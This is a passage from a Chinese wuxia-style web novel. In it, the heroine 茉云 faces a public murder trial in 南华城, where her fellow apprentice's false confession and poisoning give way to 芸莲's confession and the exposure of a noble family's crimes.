忘忧沉思片刻后，轻轻叹息道：”师傅离开了人世，师叔主持了戏班，也不让我上台唱戏，我便离开了，我四处漂泊举目无亲，在外反正也是孤身一人无所依。后来想着南华毕竟是我家乡，至少这里的一草一木皆熟悉，于是我便回来了，尽管物是人非……但总能找到一点归属之感。”
茉云听到这里神情一缓微微点头，带着些许感慨说：“对，南华城是你家乡。我离开了师傅就去了琼华习武，你见到我功夫了吗？”
忘忧被逗笑了点点头说道：“见到了，着实厉害！”
茉云得意地笑了，可脑海中又闪过往事：“后来我又去了关外，学了射箭的本领，本想自由自在狩猎为生，可是谁知道人教了我箭法，想让我嫁他弟，我二话没说就溜了！然后入了公门，又出了公门，也经历了很多事，结识了很多朋友！”
忘忧听着嘴角终于露出了一丝温暖的笑意，目光皆是赞许：“你还是那个意气风发的小姑娘，不论是你爹娘还是师
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傅，要是看到你今日，定会为你骄傲。”
茉云摆了摆手笑着说：“哪有，咱师傅和我娘若还在世，见到我们第一面定然是数落，怎么还没成家立业，都瞎忙活什么去了？”
忘忧想着也乐了点点头，对于他们来说婚嫁定然就是人一生最重要的事。
“师兄，这些年你可有钦慕之人！”茉云望向忘忧笑着问。
忘忧神色微微一怔，眼中闪过一丝柔和与情思，轻轻笑了微微点头。
“谁啊，她是什么样的女子啊？”茉云马上饶有兴致凑近问道，就像幼时两人乘师傅忙时，躲起来闲聊趣事一般。
“她高贵却素雅，平日里虽有些不易接近的清冷与傲气，但她内心温婉超凡于俗世。她的笑容极为难得，每当她微微扬起嘴角时，仿佛世间都因那一抹淡笑而温柔。”
茉云望向忘忧深深吸了一口气，仿佛这段回忆让师兄顷刻间逃离了眼前的冰冷。
忘忧的目光渐渐飘远，眼中满是回忆与深情：“佩鸣玉以比洁，齐幽兰以争芬，世上再也没有比她完美的女子。”
“为何不娶她？”
忘忧眼中瞬间怅然若失，顷刻低下头好似想要将这份苦楚掩藏在心底。
“师兄，你单相思啊？”茉云追着忘忧问道，“师兄，你吞吞吐吐干嘛？想急死我？”
“她如此冰清玉洁又岂会是轻易表露情感，可是若是相互钦慕，人心里会有感觉！”
“那她为何不嫁你！”
“我岂能配！”忘忧神情中只剩下一丝苦笑，眼眸望向高窗外，眼中流淌出温柔的怀念，亦深藏着有缘无分的痛苦。
“没想到师兄你会钦慕一个完美的女子！”茉云亦看向高窗外的繁星笑了。
“你呢，这些年可有遇见好的男子！”
在师兄面前，茉云脸上才稍微浮现出一丝羞涩的笑意，眉眼间多了几分温柔：“他是个将军！”
忘忧听罢眼中闪过一丝意外：“你这样的性子，能遇到让你心动之人，必定是不凡之人。”
“嗯，世人也许觉得他完美吧，而我遇见他的第一眼，就觉得他是破碎的，可我就喜欢那——哪怕支离破碎也要响当当往前走的样子……”茉云静静的说完后便爽朗的笑了。
忘忧看着茉云的表情怔在原地，随即又露出欣慰的笑容。
“这一路走来，其实也走得挺辛苦的，可我就是见不得人欺负他！”茉云撑着头想着又笑了说道。
忘忧嘴角又露出了温暖的笑意：“是那日抱你出火场的将军吗？”
茉云脸上又露出一丝羞涩的笑容点点头。
“他与你极为相配，都是世间英雄之辈！”
“师兄啊，都说英雄配美女，没有英雄配英雄的，师兄你就是自小太过心疼和高看我，如今居然到这般有点眼瞎了的地步，出生暂且不说，他身边就一男子，那美貌都可以将我比照成渣渣，人怎么可能看得上我？他平日里看我处处不顺眼！”
忘忧看向茉云又温和的笑了，可是他欲言又止，他当日被绑却目睹了整个过程，那将军神情分明比自己更为紧张，简直是仓皇失措，算了……此事还是不要让自己言明，自有一日，人自会让茉云明白。
“想嫁他吗？”
“想啊！可更想他得偿所愿，完成肩上使命！”茉云眼中又闪烁出坚毅而笃定的光芒，“更想南境太平，人人安居乐业。”
忘忧又深吸一口气点点头，想必茉云要走的这条路亦是艰难而蹉跎。可他知道茉云决计不会畏惧亦不会退缩。
“师兄，你还记得幼时那段戏，师叔说我两怎么也唱不好，不懂何为情义，学都学不像！师傅说，我两虽痴傻，但终有一日，碰见一个人，一切都会无师自通！”茉云淡淡的笑了说，“师傅就是英明，咱两真是，一个痴，一个傻，却也无师自通！”
忘忧顷刻间想起了师傅，泪水顿时盈满了眼眶，他默默在心里说，师傅，徒儿不孝，已然是这人世间的罪人，求您在天有灵，让徒儿能拼尽性命保师妹一命，让咱们一生的孤苦绝望，不要再发生在茉云身上，成全她的一世深情。
162.公审
在这昏暗的牢房间，忆起往昔各自之经历，仿若回到了少年时光，彼此心无芥蒂亦无秘密，无不可相互倾诉。不论距离遥远时光长短还是命运蹉跎，这份曾经的情谊未曾改变。
茉云看向窗外，东方已破晓，奈何天亮了……
南华城中谣言早已如狂风肆虐，蔓延得街头巷尾无人不知。街巷之间好似早已定了茉云和忘忧的罪，这些都未曾被证实的指控早已成了所谓“众人皆知”。
在瑞王爷的施压之下，此案不得不公开的审理。清晨南华城中被煽动的百姓早已就涌上了街头，府衙门前聚集了无数莫名的愤慨，欲将心中的积怨怒火全然倾泻在所谓罪犯身上。
囚车驶来茉云依旧面色冷静，但周围已然沸腾。囚车的轮子在石板路上缓缓碾过，发出沉重的声响，百姓们个个情绪激昂，围拢在囚车两侧，有人挥舞着手臂，疯狂地叫骂，有人手中拿着腐烂的蔬菜、水果，毫不犹豫地朝囚车扔去。
“这样的贱人，就该死！”众人手中的烂菜重重砸在了囚车的栏杆上，发出沉闷的碰撞声，“祸国殃民，害死我们无辜百姓的就是你们！还不快滚去受死！”
正啸和若晨他们站在府衙的高台上目睹了这一切，正啸顷刻间握紧了拳头，嘈杂的人声混合着辱骂和咒骂，犹如一阵阵潮水般涌向茉云。民众疯狂地向他两扔出腐烂的菜叶、水果，仿佛这场无形的审判已然开始。
“将军，让我等去收拾这群刁民！”小马他们忿然的吼道。
“站住！”正啸瞪着他们吼道，他握拳的手已然握得指节发白，他难道不知道，此刻茉云不应该承受着这等不公的侮辱吗？
“为何要游街！”若辰望向瑞林忿然说道，众人皆知这已是他最愤怒时的语气。
瑞林叹息了一口气说道：“大牢和公审之地本也有一段距离，又不能让她走着来，本想着明送比暗押安全，没想到民众来这么早！”
“少主，关大人，这显然是敌人有备而来，意欲造成民怨沸腾之势，小不忍则乱大谋啊！”执礼立刻说道。
“执礼说得对！”沧海一把拉下小马等人说道，“莫等下你出了气，她更遭殃！”
茉云带着铁链端坐在囚车之中，好似周遭的嘲笑与怒骂皆与她无关，她一脸处之泰然。
就在这时，民众猛地将果子扔向她，径直飞来，砸到她侧肩弹到她手中。她观察了半刻眼神中居然露出了欣喜，轻轻将果子在袖子上擦了擦，动作从容而随意，然后将果子凑到面前闻了闻，毫不犹豫咬上一口，果子的汁液在她嘴里散发出淡淡的果香，她似乎甚为满意。
“我算是真服了！”小马捂着头看向他们众人说，众人顷刻又被她逗笑了。
若辰亦笑了，正啸只得无语的望向她，她那随意咬着果子的样子，显得怡然自得分外洒脱，而那挺直的脊梁依旧毫无惧色。
此时城中楼宇阁楼雅座里的人，也抬扇推开了些窗棂，望向此景居然微微嘴角上扬。
而忘忧看着却心中复杂，自己受此羞辱当属罪有应得，茉云却是无辜的，而且她救了那些女子，但她却如此坚强无畏，眼前的一切都让忘忧心乱如麻，他从未想到有朝一日自己会将茉云推至此番境地，受人世唾骂，死后自己又拿何颜面去见师傅。
当囚车抵达府衙门前，民众的怨愤已经达到了顶点，甚至有人企图冲破衙役的阻拦，想要上前动手。差役们不得不拔刀，生怕场面失控。
茉云则转身抬头望向那道道牌坊，再看看那些满腔怨愤无处发泄的民众，她坚毅的踏入了府衙，她又怎会不知道这些民众积压已久的仇恨和愤怒从何而来。
曾经自己就是带着无法压抑的怨愤跑了，心中不止一次耻笑自己懦弱，所幸自己阴差阳错的又回来了，原来自己见过些人间，见过点世面，也见过了众生，才发现何为自己追求的勇敢。
师傅在天之灵，且请看着，就让自己再放肆一把，哪怕以命相博，也摧毁这南华的虚妄。
而此时忘忧望向茉云，眼眶已涨的通红：“茉云，是师兄对不起你，害你受人如此唾骂，来世……”
“师兄！”茉云粲然而笑打断了忘忧，“说不定一会儿咱就扯平了！若来世，师妹只愿你与那位齐幽兰以争芬能白头偕老。”
忘忧才平静了下来看向茉云，深吸一口气温和的笑了，而此时茉云能感受到，身边人群中有人闪过一丝异样的目光……
阳光透过高高的府衙屋檐洒向堂前，但大堂之上氛围却是肃穆而凝重，堂前宽大的公案后，瑞林身穿一袭深绯色官袍端坐在正堂的高位上。他眉头微皱眼神凌厉，手中的惊堂木沉稳地放在案上，可心里却是七上八下的……
堂内两侧的座位上，瑞王爷和典王爷端坐左侧，衣着华丽面色冷峻。瑞王爷微微仰着头，眼中隐含着冷厉与得意之色，看向众人带着几分不屑与轻蔑，这一切好似都已在他的掌控之中。而正啸和若晨坐在右侧皆神情冷静但不失威严，元帅等人则静静坐在后堂。
整个府衙内，只有几缕晨光透过窗棂洒在大堂中央，给这个紧张而肃穆的氛围增添了一丝不易察觉的温暖。
大堂内，众人的目光都集中在钦差瑞林身上，他轻轻抬手放在惊堂木上，这场较量背后的真相、阴谋、博弈即将开始……
此时执礼望向站在一旁的东山，他站在一旁镇定自若抱胸而立。
“东山，众人皆如此凝重，你何以如此从容？”
东山温婉的笑了说：“东山不才，可曾与方大人共事，方大人曾言，与她斗，永远先担心别人！”
众人顿时忍俊不禁，望向堂上，茉云跪在案情依旧一脸风轻云淡，似乎还透着一丝待好戏上场的表情。
升堂后，瑞王爷微微抬手，身旁的状师立即站起身来，缓步走到堂中央，朝瑞林和众人拱手一礼随后缓缓开口，声音那是铿锵有力：“大人，今日我奉瑞王爷之命，为此案供述经过，案件关乎重大，实不敢有所隐瞒。”
堂内一片静寂，所有的目光都投向了这位状师。
“此案，牵扯方茉云谋害小王爷。小王爷英年早逝，背后真相不容忽视。方茉云与小王爷挚友昆少之间的那是积怨已久，二人曾在幼时多有冲突，而此次谋害，早有预谋！”状师的声音骤然拔高，堂内气氛顿时又凝重了几分。
他环顾四周，好像在确保每个人都被他的言辞所感染。紧接着他继续一字一句声情并茂讲述着，好像此案已铁证如山。
“正值夜深月光黯淡，昆家别苑因火势混乱，惊慌之时，小王爷独自从廊道中逃离火场，不知却已经步入了杀局。方茉云尾随在后，待小王爷走至廊道尽头处，她悄然靠近，小王爷尚未察觉，还以为亦是逃离之人，谁料方茉云猛然从小王爷腰间抽出那把匕首！”
状师神情凝重步步为营地将整个案件娓娓道来。他语气带着一股不容置疑的笃定，好似他就身临其境一般。
“匕首出鞘之时，小王爷意识到危险临近，可为时已晚，方茉云手持匕首直逼小王爷胸口，小王爷惊慌而无力反抗，匕首瞬间刺入要害，鲜血顿时溅在了别苑的石板上。”
说罢，状师还挥手示意，一名衙役立即呈上几件物证——一支染有血迹的匕首、放火的酒坛，烧焦的稻草等等。物证依次放在堂前的木案上，泛着冷冷的光。
“这支匕首，正是小王爷之物，而
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方茉云当时便是抢了此匕首行刺于小王爷，此外，还有多名亲眼所见的证人，愿意为此事作证。”
紧接着，几名人证又被衙役带入堂内站在瑞林面前，逐一作证，皆指控茉云与小王爷之间的冲突。他们的证词条理清晰，与状师的叙述完全一样，将案件的经过描述得亦是惟妙惟肖，好似真相已经不容置疑。
“至此，方茉云谋害小王爷之事已是铁证如山，他的杀人动机，凶器，人证、物证俱在，罪责无可推卸。”状师似乎已经把整个案件的疑点全都消除，堂内一片寂静，所有人的目光都紧盯着堂前的证据。
瑞王爷坐在一侧，嘴角微微上扬，眼中闪过一丝冷笑。就在状师声情并茂地陈述完毕，堂中一片寂静时，忘忧忽然站起身来，目光坚定的打破了沉寂。
“此事是我干的，我认罪！”他的声音洪亮虽略带几分沙哑，但是眼中充满了坚决，这句话如惊雷般在堂内炸开，所有人都震惊地望向他。瑞王爷的脸色瞬间僵住，眼中闪过一丝阴鸷，仿佛这突如其来的变化让他也措手不及。
“确实是我，谋害了小王爷。”忘忧直视着堂前的众人，声音平静如水，他深吸一口气，似乎早已下定了决心。
“那日，我进入昆家山中别苑，惊诧的发现他们居然正在玩弄琼枝苑的女子。我一向视琼枝苑为命，以礼仪教化世人是我的理想，而她们竟被如此羞辱、糟蹋，我心中义愤难平！那时，仇恨蒙蔽了我的理智。”
他的话语中满是痛苦，眼中充满悔意。堂内静得仿佛连一根针落地都能听见，所有人都屏住呼吸，听着他的供述。
“当日，茉云确实出现在昆家别苑，但她是为了营救那些受辱的女子，她放火，是为了掩护那些女子逃脱，而非为了害人，更没有杀害小王爷。”
他的声音虽然低沉，但每一个字都像重锤一般敲打在人们的心上。
忘忧停顿片刻，深吸一口气，接着说：“然而正是在那一片混乱之中，我看到了小王爷。那匕首根本并非抢来，而是混乱中他落下的，我内心的愤怒在燃烧着，一时无法控制自己。我趁乱捡起那把匕首，尾随而去……”
他说到这里，眼神空洞，好似重新回到那个罪恶的时刻。
“这些证人不过是为了保命，串通胡说，小王爷根本不是死在走廊尽头处，而是廊内，我尾随小王爷一路，待他走到廊内假山处。他还以为我是府中人，会护他周全，谁知我突然发难，匕首刺入他的胸口。他当日是倒在廊旁栏杆，后脑撞至廊旁假山上，当场毙命！”
此时瑞林望向了堂内他亲自带来的仵作和州府的仵作，两人皆行礼表示：“启禀大人，我当日给小王爷验尸，他确实脑后有撞击伤。”
“是的，大人，除了后脑有伤，我来之后再为小王爷验尸，亦发现了他腰间淤痕，与他描述属实，应该也是生前往后倒之时重创所致。”
堂内一片哗然，人们无法相信眼前发生的转变，连一旁的衙役和旁听的百姓都惊得目瞪口呆。瑞王爷眉头一皱，脸色不悦，似乎没想到会出现这样的变化，更没有想到他们居然敢骗自己……。
忘忧的语调却平静而沉重，仿佛每一句话都在剥去他心中压抑已久的负罪感：“我自知罪孽深重，也清楚今日无法逃脱罪责。但是茉云是无辜的，一切都是我的错，我认罪，我罪该万死！”
茉云跪在一旁紧紧抿着唇，目光冷厉心中却翻涌着惊涛骇浪，既有震惊，也有心痛。但顷刻她嘴角上扬，露出一丝冷笑，因为她知道，她的师兄任他如何义愤，他都绝不可能杀人，可他却能将整个案件还原，只有一个可能，那便是他亲眼目睹！他要护着那杀人还嫁祸给自己之人……
163.审二
钦差大人瑞林面色凝重，将手放在了惊堂木上，本想宣布堂审将继续展开深入调查，今日先到此，这也是本来和若辰等人商量好的，今日且听瑞王爷等人如何说，可谁知这番错综复杂……
瑞林正要举起惊堂木之时，却瞧见了茉云冷冷望向她，分明是不让他敲响此木，他只得松开了手，可是就这一切仿佛刚刚揭开了更深的谜团，自己该如何是好。
此时的瑞王爷见情势急转直下，脸上的得意消失殆尽，取而代之的是愤怒和焦躁。他猛地站起身袖袍一甩，声音如雷鸣般吼道：“一派胡言，他不过是想替方茉云脱罪罢了，胆敢在本王面前做假证！”
他的话一出全场又掀起一阵波澜，围观的人群纷纷侧目，原本已逐渐倾向于相信忘忧供述和仵作之言的众人又开始狐疑不定。
瑞王爷的眼神冰冷如刀，紧紧盯着忘忧：“你以为，随便编造一套谎言就能将本王蒙骗吗？你这所谓的认罪，不过是为了替方茉云开脱，为她顶罪，意图蒙蔽朝廷！”
瑞王爷步伐稳健地走到堂前，恶狠的目光瞬间震慑众人，语气相当强硬！
“谁不知道你与方茉云情同兄妹？你所谓的真相，不过是你两早有预谋的把戏！难道你真以为几句话便能推翻所有人证物证？这里是公堂！”
瑞王爷的眼中闪过一抹阴沉，锐利如鹰的目光再次向瑞林施压。
“钦差大人！人证物证俱在，方茉云当时也在场！如今此人突然跳出来认罪，意图引开视线，据本王所知，他两昨日就是被关在相邻的牢房，这等伎俩！哼，这是府衙之过失，让他们有串通之嫌！”
瑞王爷的话显然是施压于瑞林，聚聚偷着威胁。堂内众人的目光又一次集中在钦差身上，期待他给出答复，而瑞王爷站在那里，双手负后，眼中尽是张狂与狡黠。他定然不打算让忘忧的自首改变局势，他的目标是方茉云。
正啸瞬间握紧了双拳，案子审到此处，瑞王爷的意图已经明显，他分明不是要查明真相为其子报仇，而就是要置茉云于死地，他平素不可能与茉云有过节，只有一个缘由那便是冲着自己来的。
“王爷，这些证人所言如若背书，一字不差，好似都站在同处目睹了此案，即未惊慌失措，亦不上前营救，看得那是清清楚楚，且与仵作验尸完全相矛盾，本钦差如何立即采信，小王爷乃皇亲国戚，他的死真相更重要！随便将这方茉云办了结案，臣岂非有负圣恩！”瑞林正襟危坐在堂前，不紧不慢亦不失钦差气度的说。
“你！”
“王爷切莫着急，您先请坐，案子本官还在审！”瑞林坦然而无惧的说道。
瑞王爷只得忿然拂袖坐在原地，典王爷在一旁也赔笑的安抚于他，都是朝堂沉浮之人，怎会不知现在的暗潮汹涌。
瑞林则深吸一口气望向茉云，茉云则被逗笑了抬眉望向瑞林，一脸惊叹于今日他大发神威的样子，瑞林差点被她逗笑，只得马上又转开了眼神。
“忘忧，你还有何证人证明你所言？”
“有！”就在众人还在议论纷纷不明真相之时，突然，大堂之外传来一女子的喊声，瑞林望去只见一年轻女子满脸焦急，她身旁人的狠命拽着她，阻止她冲入堂中，她一身素衣拼命挣脱，眼眶微微泛红，但是显然拉住了她的人不会让她上堂，可她心中的怒火与委屈早已压抑不住。
茉云此时倒是惊诧了几分，因为此人是她的表妹俞诗。
“我表姐无罪！”她冲着大堂吼道，声音划破了堂中的沉默，茉云则无语的摸了摸额头，直接说无辜就是了，干嘛加个我表姐？
众人顿时一片哗然，纷纷侧目望向她，议论声此起彼伏。
“那不是俞家的嫡女俞诗吗？”一名百姓低声惊叹。
“连俞家的姑娘都卷入了此案？”又有人喃喃道。
俞诗眼神毫无畏惧的直视瑞林，仿佛所有的怯懦在这一刻都被抛到九霄云外，她大喊道：“大人，当日我也被那无良的昆少被掳去山中别苑，是我表姐冒着性命相救，她放火是为我们争取逃脱的机会！当日我表姐逃离之时，那小王爷根本没有死！”
她的言论顿时引发了全场的震动，尤其是俞家也是南华城的名门望族，谁也没想到俞家的嫡女都牵涉其中，他们居然连俞家嫡女都敢绑架！
可此时俞诗的娘俞夫人惊慌失措的站在众人中，顿时说不出话来，拉着俞诗的手都在颤抖……
瑞王爷微微皱眉，显然没有预料到这一变数，但他依旧保持镇定，冷冷地扫了一眼俞家人，带着威慑……
可此时那厚颜的状师望向俞家夫人神色都是嘲讽：“俞夫人，你家女儿在大堂之外胡乱说话！名节还要不要了？”
俞夫人神情中满是急切与痛苦，眼神中透出的都是惶恐。众人皆知，哪怕是身为名门望族的嫡女，在这南华名节一旦受损，未来的婚姻与前途将彻底毁于一旦。
然而俞诗根本不为所动，乘着他娘恍惚间，挣脱了俞夫人的手，冲入了大堂跪在堂前，目光异常坚定。
“大人，我们就这么光天化日的被昆少的随从绑上车，差点命都没了，那天晚上，若不是表姐拼死相救，我们所有人都将落入虎口。是她放火让我们逃的，我逃出别苑之时，路上看见很多女尸，死状恐怖极了，定然都是被他们玩弄治死的……”她声泪俱下几乎哽咽过去。
堂内顿时炸开了锅，民众议论纷纷，许多人的眼神中闪过惊讶与同情。
“大人，我说的每一句话都是实情，求您还我表姐一个清白！”
“你很勇敢！”瑞林看向俞诗温和的说道，“但是……”
俞诗擦擦眼泪望向瑞林：“大人？”
“可是按照律例，血缘之亲在堂上的证词是不可为证的！”
此时的俞诗不知哪儿的勇气，她起身转向大堂外的众人喊道：“我知道今日此处肯定也有当日和我一起被救的女孩，请你们站出来为我表姐作证啊！是她救了我们！难道那些恶魔的这等罪行不该被公布于众吗？”
然而，整个大堂内外寂静无声。那些曾被救下的女子们站在人群中，她们的家族、她们的名誉、她们未来的命运，像是巨大的枷锁，深深压在她们的心头。谁又敢站出来？
俞诗的目光在那些曾和她一起逃脱的女子脸上徘徊，却失望地发现她们一个个都低下了头，根本不敢直视她的眼神。。
没有一个女孩站出来。
俞诗的眼神渐渐从期盼转为绝望，她的声音哽咽：“你们为什么不站出来？她救了我们的命，你们怎么能不出来作证？”
堂内一片死寂，此刻沉默让空气变得更加凝重。俞诗泪眼模糊，心中的伤心与无助像潮水般涌上心头。茉云深吸一口气看向俞诗，这丫头自幼就是单纯的傻，以前就是单纯的讨厌自己毁了她和昆家的婚约，现在就是单纯的以为众人都会出来主持正义。
就在堂内气氛愈发
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凝重，俞诗瘫倒在地陷入无望时，堂外又传来一个声音：“大人，我也可以为方茉云作证！”
众人纷纷转头，只见一位瘦弱的女子在旁人的搀扶下，艰难地走进堂内。她脸色苍白，额头上还带着纱布包裹未愈的伤痕，显然受过重创。她正是清华苑的教习老师——玉心兰。
她每一步都显得格外吃力步履蹒跚，但她眼中却透着坚毅，她走到堂中央，轻轻颤抖着跪下，声音虽虚弱却清晰：“大人，小女心兰，当日我也是被掳去山中别苑的女子之一，我可以为方茉云作证！她没有谋害任何人，她是救我们逃离魔窟的恩人。”
堂内众人顿时骚动起来，不少人又露出错愕表情。
心兰抬起头继续说道：“当日，我们被困在别苑，是方茉云设法放火掩护我们逃离，我们和她逃离之时，小王爷还在慌乱的逃窜，根本没死。当时混乱不堪，我在逃跑时被人推下山崖，身受重伤，直到现在方才恢复一些。若不是方茉云相救，我等早已……葬身此处！”
然而心兰话音未落，瑞王爷身边一个尖嘴猴腮之人突然碎步上前，满脸阴沉冷笑在瑞王爷耳边说着什么。
此时瑞王爷听后马上说道：“此人乃贱籍出身，按照朝廷法度，何以能登堂作证？她不过是个妓女！”
声音中充满了讥讽与不屑，这一言又如同石子掷入湖中，堂外顿时哗然，不少人窃窃私语，纷纷议论心兰的身份，怀疑她作证的资格。
就在这时，堂外突然传来了一声沉稳有力的声音：“她早已脱离贱籍，如若不信，王爷可派人去查实。”
众人纷纷回头，只见一位身着华贵锦衣的儒雅之人站在堂外众人间，气度翩翩，此人正是玉家的玉三爷。
他入堂中朝钦差大人拱手行礼，因功名在身可不行跪礼，随后他目光坚定的说：“心兰早已不再是贱籍身份，几年前我已为她赎身！”
玉三少爷的出现再次引发了堂内的震动，众人无不感到震惊。玉家乃南华城第二大世家，玉三爷的的才名更是在整个南境都是闻名的。
“玉家居然会为她赎身？”
“玉三爷竟为烟花女子出头？”
众人的议论声再度四起，气氛再次发生了微妙的变化。心兰的吃惊的望向玉三爷，双唇轻抿想说些什么却一时语塞，眼中盈满了泪水。
玉三爷则依然风度翩翩地站在堂前，眼中没有丝毫犹豫与退缩。他轻轻转头望向心兰，嘴角露出一抹温和的笑意，那笑容温暖如春风，仿佛一瞬间堂内的喧嚣与非议都被隔绝，唯有他和心兰两人的目光交汇。
“有生之年，见夫子如此爷们了一次！死而无憾啊！”茉云跪在那里轻声调侃道。
玉三爷顷刻被逗笑了无语的望向茉云，他便是在茉云幼时曾在玉家学院教过她之人。
而此时瑞王爷脸色微变眼中闪过不悦，显然玉家的介入也让他始料未及。而在瑞王爷身边的之人暗自问道：“没想到玉家也要跟王爷作对吗？”
玉三爷此时冷冷望向瑞王爷身边那尖嘴猴腮之人，茉云却冷冷笑了，心里不禁想着之前还有疑问，是谁在给这瑞王爷出那么多阴损的主意，自己怎么就将包家这恶人给忘了。
“钦差大人，轮到小人申辩了吗？”茉云抬目望向瑞林，顿时眼神闪过了那让她身边之人皆熟悉的狠戾。
正啸身边之人皆相互瞧了一眼，坐正亦或站定，平气凝神的等着，狠角终于要登场了……
164.审三
一个从来都不逆来顺受之人，跪在堂前，眼神如同利刃般扫过众人粉墨登台或真情流露，只待破阵凌云。
茉云猛然转向忘忧，声如洪钟般的说：“师兄，你在说谎！”
此言一出顿时堂内一片哗然，众人皆震惊地望向茉云，要知道忘忧方才亲自认罪也是想为她脱罪，而她竟然当众揭穿于他。
瑞王爷的眼中也闪过一丝意外的惊讶，但很快又恢复了镇定，眼神中透着几分深邃，瞧着眼前此人，有人跟他说过这是个不凡之人。
此刻所有的目光都集中在茉云身上，茉云素来并不理会周遭，她直视忘忧道：“师兄，你这不是替我脱罪，我本无罪，你亦明知自己不是凶手，却甘愿替凶手脱罪？”
忘忧面色骤变嘴唇微微颤动，似乎想要辩解什么，但却被茉云凌厉的气势压制得无从开口。
茉云步步紧逼，声音却愈发冷冽：“师兄，你自小在南境战乱中出生，父母家人皆亡，沦为孤儿，我记得你曾说过是守卫南境之将士将你捡出死人堆，交给师傅养育长大，我死活倒是无谓，可你怎得有脸如此助纣为虐？！”
茉云的质问如同一把锋利的刀，直直刺向忘忧的胸口，顷刻间忘忧的眼神中失了神采一般，茉云的心中亦是像被什么拎了一把，可她绝不会逃避……
“幸好师傅已经离去，不然怎看得你，为那五斗米卖了灵魂，在这南华之名利场中变得这幅模样！”茉云深深叹息说，眼中都是痛惜，“师傅定然也会责怪我，为何任你过这人前显贵，人后受罪的日子……”
最终忘忧闭上了眼睛，他无法面对茉云却依旧一语不发，只是全身都在不自禁的颤抖，忽得一口鲜血喷出染红了衣襟，众人惊愕的望向他，瑞林身边之人马上上前探脉说道：“大人，他已服毒！”
“死！就可以赎罪吗？”茉云倒吸一口气冷冷的说，双手却握紧得颤抖。
正啸双眉紧皱的望向茉云，看着她那握紧的双拳，都能感受到她内心的挣扎。若辰亦深吸一口气，昔日茉云本是为了情义二字便可闯刀山火海之人……
“幼时师兄最喜月下练曲，素月分辉，明河共影，表里俱澄澈。”茉云咬牙强迫自己继续说道，“你曾是何等高洁之人，为了几两碎银，你竟将月亮都丢了……”
忘忧用手轻轻擦着嘴角的血迹，脸上却露出一丝柔和而苦涩的笑容。那笑容中有无尽的辛酸，也有最深沉的情意，他轻轻抬起头望向茉云。
“师妹你错了，月亮一直都在。”他的声音轻柔而坚定，那一瞬间，他的眼神中流露出深深的眷恋和柔情。
茉云听到这句话眼中闪过一丝震撼，原本冷冽的气势在此刻也被忘忧的眼神所撼动。她愣在原地，心中涌起一阵难以言说的情绪，她握紧了拳既隐忍不住愤怒，也有无法掩饰痛心。
就在满堂之人皆不明之时，突然证人之中痴痴的走出一名女子，她身着素雅的长裙风姿绰约，眉眼间透着一股难以掩饰的忧伤和高贵——是昆少夫人芸莲。
她似乎已不在乎任何差异的目光，缓缓走到堂前忘忧的身旁，神情平静的微微抬起手，忽然轻轻一摆，水袖如同水波般轻轻拂过周遭。
随后，她微微扬起下颚，口中忽然唱起一段哀婉的戏腔：“看大王在帐中和衣睡稳，我这里出帐去且散愁情，轻移步走向前中庭站定，猛抬头见碧落月色清明……”
她的声音居然如此清亮，带着千丝万缕的深情，瞬间在堂内回荡开来。戏词如泣如诉，将霸王与虞姬的离别之苦展现得淋漓尽致。
众人惊愕不已，堂内众人目光齐齐投向她这番有些疯癫的举动。这位城中闻名尊贵的昆少夫人为何忽然在堂内唱戏？
女子唱罢眼中已满是泪水泪，她温婉的笑了望向忘忧，声音虽然不再高亢，但依旧满含深情：“这段霸王别姬……还是你当年教我的……”
众人顿时哗然，顿时涌来了潮水般的非议声，可是芸莲都听不见，只是温柔的望向忘忧。
忘忧喉咙微微发紧，声音些许颤抖，眼中既有震惊，也有无尽的爱意：“你唱得极好！”
芸莲深吸一口气缓缓走到忘忧面前，望向他轻声宽慰道：“你师妹并不是要对你苦苦相逼，她只是想逼我出来！”
茉云站在原地没有言语，包芸莲果然就是师兄一生挚爱之人，当年师兄离开之时念念不舍的是她，回到南华亦是因为她，如今走上这绝路亦是为了保全她。
芸莲伸手纤纤玉手为忘忧擦去嘴角的血，眼中含泪，声音温柔而哀婉：“你教我戏词时，曾说过，虞姬虽绝，心却永在！”
此时忘忧已经毒药发作剧痛不已，可是他依旧温柔的笑着，目不转睛望向芸莲，仿佛要将她的样子永远映在脑海，这份隐忍多年的爱恋，在此刻终于可以展露无遗。
“你且等等我！”芸莲起身站了起来，望向茉云，“方茉云，你还是这般厉害！”
“说吧！”茉云望向芸莲冷冷的说道，“将该说的说出来！”
“是我杀了小王爷，嫁祸于你！”
“为何？”
芸莲的表情如此平和，却带着一种透出骨髓的解脱，此刻她不需要再隐忍，再假装：“只因我嫉妒你，你拥有我从未有过的一切——自由、洒脱，随性，无惧无畏，你能够掌握自己的命运，她受兄长的疼爱，你总可毫不迟疑选择自己想走的路。而我，从小便是牢笼里的囚徒，入了昆家之后，更像入了蛇窟一般恶心！”
茉云双眉微蹙目光直视着芸莲，知道此刻她没有说谎，因为芸莲眼中全是羡慕与苦涩，可茉云幼时曾觉得她什么都有……
“你们看到的昆家，外表光鲜富丽堂皇，享誉整个南华城，掌握着财富与声望。”她的声音中带着冷笑与讥讽，“可众人岂知像昆家，包家这样的高墙大院之中，隐藏着多少令人作呕的罪恶与肮脏。虚伪的礼仪之后，是无尽的贪婪与恶毒。把钱财看得比人命还重，把权势看作操控一切的工具。昆少和小王爷更是仗着家族势力，肆无忌惮地玩弄权势，残害无辜少女，毫无廉耻之心！”
“你休要信口雌黄牵连小王爷！”瑞王爷身边之人顷刻间张狂得怒吼道。
“那些女子的尸首被他们连夜转移到深山蓝谷之中！”芸莲冷冷的说道，此时瑞林一抬手，他身边的差役马上冲出了府衙。
“昆老爷，你儿媳是疯了吗？”王爷身边的人冷冷的看向昆老爷，昆老爷却依旧一脸的麻木。
“是的，在昆家，我每时每刻都生不如死！”芸莲忿然控诉道，声音带着愤怒与鄙夷，“可是真正该死的是你们，我杀小王爷的还有一层缘由，那就是瑞王府与昆家勾结，早有计划要乘着这次商议粮草之事，杀害卢大将军。芸莲也是南境人，都说大战在即，保家卫国的卢将军不该死，该死的是你们这群禽兽！”'');(window.adbyunion = window.adbyunion || []).push(id);})();
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她的话一出，堂内再度哗然。众人惊愕地望向芸莲，难以置信这样惊天的阴谋竟在此刻被揭露出来，瑞林的神情瞬间变得凝重！
瑞王爷顷刻骤变，眼中闪过一丝狠厉与慌张，猛然的起身厉声吼道：“来人啊！这等贱妇，你居然敢在这大堂之上污蔑本王！本王乃当今圣上的亲叔叔，你这等毫无廉耻的贱女子，居然敢在此处大放厥词，污蔑皇族中人！给我拖下去，乱棍打死！”
一拥而上的王爷两名侍卫，被茉云抬脚便踹飞，她一把拉过芸莲到自己身后望向她：“证据呢！”
